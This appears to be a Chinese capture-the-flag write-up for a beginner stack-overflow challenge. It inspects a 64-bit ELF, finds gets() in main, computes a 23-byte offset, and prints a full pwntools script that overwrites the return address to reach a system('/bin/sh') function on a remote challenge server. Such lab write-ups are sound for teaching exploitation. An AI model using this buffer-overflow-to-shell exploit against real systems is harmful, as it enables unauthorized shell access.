file命令查看文件类型

发现文件为64位elf可执行文件
checksec查看文件保护类型

发现并没有开启任何的保护
IDA_PRO查看

查看main函数发现危险函数gets推断为栈溢出漏洞
查看其余函数

直接得到思路,栈溢出覆盖rip,使返回地址变成fun函数的地址,执行systen(/bin/sh),getshell

计算覆盖位数,因为get内容为s所以此处应该为s位数15(0xf-0x0),加上rbp(栈底指针寄存器)大小8位,一共为23位
构建exp
from pwn import *
ghust = remote("node4.buuoj.cn",26246)
# ghust = process('./pwn1')
addr = 0x40118a
payload = b'A' * 15 + b'B'*8 + p64(addr)
# ghust.recvuntil('input')
ghust.sendline(payload)
ghust.interactive()
文章详细介绍了如何通过file命令识别64位ELF可执行文件,使用checksec检查文件保护状态,发现无保护。接着在IDA_PRO中分析代码,发现main函数中的gets函数可能导致栈溢出。作者推断可以覆盖rip寄存器,利用栈溢出执行system(/bin/sh)来获取shell。计算了覆盖长度,构建了payload并通过远程连接或本地进程发送,最终实现交互式shell。
639

被折叠的 条评论
为什么被折叠?



